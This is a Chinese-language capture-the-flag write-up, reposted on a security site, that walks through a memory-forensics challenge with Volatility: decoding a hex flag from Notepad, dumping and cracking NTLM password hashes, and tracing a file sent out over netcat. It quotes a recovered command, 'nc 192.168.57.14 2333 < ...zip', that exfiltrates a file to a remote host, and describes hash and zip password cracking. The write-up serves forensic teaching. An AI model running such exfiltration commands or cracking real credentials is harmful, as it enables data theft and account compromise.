安全路透社
当前位置:安全路透社 > 网络转载 > 正文

内存取证三项CTF赛题详解

0×00 题目下载 

链接:https://pan.baidu.com/s/1hskpW48 密码: ph2d

0×01 题目说明

描述:一天下午小白出去吃饭,临走之前还不忘锁了电脑,这时同寝室的小黑想搞点事情,懂点黑客和社工知识的小黑经过多次尝试获得了密码成功进入电脑,于是便悄悄在电脑上动起手脚了,便在桌面上写着什么,想给小白一个惊喜,同时还传送着小白的机密文件,正巧这时小白刚好回来,两人都吓了一跳,小黑也不管自己在电脑上留下的操作急忙离开电脑,故作淡定的说:“我就是随便看看”。 

1.小黑写的啥,据说是flag?

2.那么问题来了,小白的密码是啥?

3.小黑发送的机密文件里面到底是什么?

0×02 解题过程

解压题目附件之后初步分析:

内存取证三项CTF赛题详解报告

经过网上查找资料发现这这种raw文件是内存取证工具Dumpit提取内存生成的内存转储文件,可以使用类似Volatility等内存取证分析工具进行取证分析。

在使用Volatility进行内存取证分析第一步便是使用imageinfo插件获取到基本信息,特别是内存数据是什么操作系统下生成的,这点尤为重要,因为在接下来每一步都要命令“–profile”指定操作系统的属性。

内存取证三项CTF赛题详解报告

根据上图可知系统为32位的windows xp sp2,所以指定系统属性命令为“–profile=WinXPSP2x86”, 根据题意,推测小黑在使用记事本编写文本,所以接下来使用notepad插件列出当前显示的记事本文本。

内存取证三项CTF赛题详解报告

在获得文本内容为:

666C61677B57336C6563306D655F376F5F466F72336E356963737D

使用hash-identifier简单识别:

内存取证三项CTF赛题详解报告

发现不是散列值,分析文本内容,有数字0~9,有字母A~F,有可能是base编码,经过多次尝试发现是base16编码:

内存取证三项CTF赛题详解报告

得到第一个flag为flag{W3lec0me_7o_For3n5ics}。

根据第二个问题意思,熟悉Volatility的使用以及插件功能,发现hashdump可以将内存中的NTML提取出来:

内存取证三项CTF赛题详解报告

通过网上查阅资料发现NTML hash的算法原理以及破解方法,可以找到基于彩虹表在线NTML hash破解器Ophcrack,原理通过使用预先完成的计算结果及存储的彩虹表来加速破解hash。

解出第二个flag为flag{19950101}

根据第三问题意思,小黑在发送文件,那么一定向外建立了连接,于是便使用connscan插件(tcp连接池扫描插件)。

内存取证三项CTF赛题详解报告

可以看到本机192.168.57.21的1045与远程主机192.168.57.14的2333端口建立了连接,并且进程号为120,于是使用psscan插件(进程池扫描插件)获取跟多信息:

内存取证三项CTF赛题详解报告

跟踪进程号120发现是使用的是nc,同时也看到了cmd的进程,基本可以确定是使用cmd命令行的nc进行文件的传输,于是使用cmdscan插件(通过扫描_COMMAND_HISTORY提取命令历史记录)获取更多的信息:

内存取证三项CTF赛题详解报告

由上图小黑使用了一些命令:

1.     Cmd #0 @ 0x56af00: ipconfig  

2.     Cmd #1 @ 0x56d650: cd C:\Program Files\Netcat   

3.     Cmd #2 @ 0x2da2e40: nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip   

所以小黑是使用nc向远程主机192.168.57.14的2333发送了P@ssW0rd_is_y0ur_bir7hd4y.zip文件。

之后便可以memdump插件(转储进程的可寻址内存数据插件)导出使用nc发送的相关数据:

内存取证三项CTF赛题详解报告

内存取证三项CTF赛题详解报告

内存取证三项CTF赛题详解报告

由上图可知发送P@ssW0rd_is_y0ur_bir7hd4y.zip文件里包含了一个P@ssW0rd_is_y0ur_bir7hd4y.txt文件,由于转储文件里包含了多个文件,便使用foremost工具自动分割包含的文件:

内存取证三项CTF赛题详解报告

得到了6个zip压缩包文件,于是到相应的目录查看:

内存取证三项CTF赛题详解报告

根据大小和时间相同可以推测发送多次相同的压缩包,尝试对第一个压缩包00000316.zip解压发现需要密码:

内存取证三项CTF赛题详解报告

根据压缩文件里面的提示生日的信息,可以推测出密码为19950101,当然也可以暴力破解的方式秒破密码:

内存取证三项CTF赛题详解报告

得到密码解压文件得到flag:

内存取证三项CTF赛题详解报告

解除第三小题flag:

flag{Thi5_Is_s3cr3t!}

0×03 解题参考

Dumpit

Volatility Wiki

Linux下内存取证工具Volatility的使用

使用Volatility从memory dump获得密码

Binwalk:后门(固件)分析利器

Foremost

*本文作者:精灵

未经允许不得转载:安全路透社 » 内存取证三项CTF赛题详解

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册